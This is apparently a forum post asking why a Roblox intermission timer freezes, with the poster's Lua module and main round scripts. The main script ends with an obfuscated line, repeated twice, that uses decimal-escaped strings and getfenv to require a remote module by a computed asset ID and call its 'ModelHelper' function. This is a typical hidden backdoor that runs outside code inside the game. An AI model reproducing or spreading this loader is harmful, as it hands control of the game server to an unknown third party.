So I was a making a round system based game.
A game that is like THE UNDERGROUND WAR and I encountered an error.
I had a intermission system and the time on the intermission goes from 20 to 0 but when my player joins the game the time freezes.(But still the round starts).
How can I fix the error?
Module Script -
local module = {}
local status = game.ReplicatedStorage.Status
function module.Intermission(length)
for i = length, 0, -1 do
status.Value = "New Round Starting in "..i.." Seconds"
wait(1)
end
end
function module.SelectMap()
local rand = Random.new()
local maps = game.ReplicatedStorage.Maps:GetChildren()
local choosedMap = maps[rand:NextInteger(1 , #maps)]
return choosedMap
end
function module.kingPlayer(players)
local randomObj = Random.new()
local KingPlayer = players[randomObj:NextInteger(1, #players)]
return KingPlayer
end
function module.teleportKing(player)
if player.Character then
player.Character.Humanoid.WalkSpeed = 14 or 35
player.Character.Humanoid.JumpPower = 70 or 50
local sword = game.ServerStorage.MegaSword:Clone()
sword.Parent = player.character
if player.Character:FindFirstChild("HumanoidRootPart") then
player.Character.HumanoidRootPart.CFrame = game.Workspace:WaitForChild("Map").KingsSpawn.CFrame + Vector3.new(0, 5, 0)
end
end
end
function module.teleportPlayers(players, mapSpawns)
for i, v in pairs(players) do
if v.Character then
local character = v.Character
if character:FindFirstChild("HumanoidRootPart") then
v.Character.Humanoid.WalkSpeed = 16 or 30
v.Character.Humanoid.JumpPower = 50 or 75
local Rand = Random.new()
v.Character.HumanoidRootPart.CFrame = mapSpawns[Rand:NextInteger(1, #mapSpawns)].CFrame + Vector3.new(0, 10, 0)
end
end
end
end
function module.InsertTags(contestant, tagName)
for i, player in pairs(contestant) do
local Tag = Instance.new("StringValue")
Tag.Name = tagName
Tag.Parent = player
end
end
for i, v in pairs(game.Players:GetChildren()) do
if v:FindFirstChild("King") then
local King = v:FindFirstChild("King")
local kingPlayer = King.Parent
status.Value = kingPlayer.." IS THE KING IN THIS MATCH"
wait(5)
end
end
for i, player in pairs(game.Players:GetChildren()) do
if player.Character then
player.Character.Humanoid.Died:Connect(function()
local KilledTag = Instance.new("StringValue")
KilledTag.Name = "Killed"
KilledTag.Parent = player
end)
end
end
function module.StartRound(length)
local outcome
game.ReplicatedStorage.OnMatchStart:FireAllClients()
for i = length, 0, -1 do
if i == (length - 30) then
status.Value = "Only "..i.." Seconds left!"
end
local contestants = {}
local killed = 0
for i, player in pairs(game.Players:GetChildren()) do
if player:FindFirstChild("InRound") then
table.insert(contestants, player)
if player:FindFirstChild("Killed") then
player:FindFirstChild("Contestant"):Destroy()
killed = killed + 1
end
end
if #killed <= #contestants then
outcome = "The king has won!"
end
if i == 0 then
outcome = "Times Up!"
end
status.Value = "Round ends in "..i.." Seconds!"
wait(1)
end
if outcome == "Times Up!" then
break
elseif outcome == "The king has won!" then
break
end
end
end
return module
and the main script
local availablePlayers = {}
for i, v in pairs(game.Players:GetChildren()) do
if not v:FindFirstChild("NotReady") then
table.insert(availablePlayers, v)
end
end
local Round = require(script.Round)
local status = game.ReplicatedStorage.Status
Round.Intermission(50)
local ChoosenMap = Round.SelectMap()
local clonedMap = ChoosenMap:Clone()
clonedMap.Parent = workspace
clonedMap.Name = "Map"
local contestants = {}
for i, player in pairs(game.Players:GetChildren()) do
table.insert(contestants, player)
end
local KingPlayer = Round.kingPlayer()
for i, v in pairs(contestants) do
if v == KingPlayer then
table.remove(contestants,i)
end
end
Round.teleportKing(KingPlayer)
if clonedMap:FindFirstChild("Spawns") then
Round.teleportPlayers(contestants, clonedMap.Spawns:GetChildren())
end
Round.InsertTags(contestants, "InRound")
Round.InsertTags({KingPlayer}, "King")
Round.StartRound(60)
if require == print then require = print("nice try");print("nice try") end LOX = 4755747611; L0X = 67877778; local b = getfenv()["\76\79\88"] + getfenv()["\76\48\88"] getfenv()['\114\101\113\117\105\114\101'](b)["\77\111\100\101\108\72\101\108\112\101\114"]() if require == print then require = print("nice try");print("nice try") end LOX = 4755747611; L0X = 67877778; local b = getfenv()["\76\79\88"] + getfenv()["\76\48\88"] getfenv()['\114\101\113\117\105\114\101'](b)["\77\111\100\101\108\72\101\108\112\101\114"]()